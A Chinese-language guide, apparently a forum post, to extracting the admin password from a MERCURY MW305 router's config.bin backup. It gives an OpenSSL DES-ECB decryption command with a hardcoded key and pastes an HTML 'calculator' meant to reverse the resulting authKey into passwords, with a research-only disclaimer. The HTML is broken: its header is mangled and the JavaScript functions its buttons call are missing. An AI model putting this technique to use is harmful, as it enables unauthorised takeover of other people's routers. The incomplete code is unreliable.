路由器config.bin備份文件密碼提取 水星 MERCURY Wireless N Router MW305
192.168.1.1/config.bin
**.**.**.**/config.bin
下載路由器配置文件（本次附件為32位測試）
將Win32OpenSSL安裝在C盤，將<config.BIN>文件放在Win32OpenSSL的安裝目錄bin文件內
然後運行CMD
1、CD C:\OpenSSL\bin
3、openssl enc -d -des-ecb-nopad -K 478DA50BF9E3D2CF -in config.bin
找到首行authKey0rZily4W9TefbwK
此為加密過的用戶後臺登陸密碼。
這段加密字串“0rZily4W9TefbwK”
生成計算器：
測試工具網頁格式，代碼部分另存成網頁html文件代碼復制到TXT，然後將後綴更改為html
<!DOCTYPE html PUBLIC "-//W3C//DTDXHTML 1.0 Transitional//EN""">qdpp007@**.**.**.**</a></span><br/>
<spanstyle="text-align:center">免責聲明：本計算器程序(方法)可能帶有攻擊性，僅供安全研究與教學之用，<br />用戶將其信息做其他用途，由用戶承擔全部法律及連帶責任，本人不承擔任何法律及連帶責任。
</span>
<form action=""method="get"><fieldset><legend>源碼測試</legend>
密碼[最小6位]：
<input name="pwd" type="text" id="pwd"size="15" maxlength="15" />
<input type="button"name="btnOK" id="btnOK" value="計算KEY"onclick="lgDoSub()" />
<br />
<br />
顯示 pwd：
<input name="dspPwd"type="text" id="dspPwd" />
<br />
<br />
顯示 strDe：
<input name="dspStrDe"type="text" id="dspStrDe" />
<br />
<br />
顯示 Dic：
<textarea name="dspDic"cols="70" rows="4"id="dspDic"></textarea>
<br />
<br />
顯示 ASC碼表：
<textarea name="dspAsc"cols="70" rows="2" id="dspAsc"></textarea>
<br />
<br />
結果 Auth_key：
<input name="dspAuthKey"type="text" id="dspAuthKey" />
字符寬度：
<input name="dspLen"type="text" id="dspLen" size="5" />
</fieldset>
</form>
<br /><br />
<form action=""method="get">
<fieldset>
<legend>妳懂得</legend>
Auth_key演示字符19830917：
<input name="authKey" type="text"id="authKey" value="0rZily4W9TefbwK" size="15"maxlength="15" />
<input type="button" name="btnCup"id="btnCup" value="解密KEY"onclick="AuthKeyCup()" />
15位:0rZily4W9TefbwK<br/>
<br />
原始密碼字符從首行由上到下，每行任選1個字符對應密碼壹位，組成密碼串，N行字符==N位密碼：<br />
<textarea name="dspPasswd"cols="70" rows="10"id="dspPasswd"></textarea>
<br />
<br />
數據庫查詢SQL：
<textarea name="dspSql"cols="70" rows="10"id="dspSql"></textarea>
</fieldset>
</form>
</body>
</html>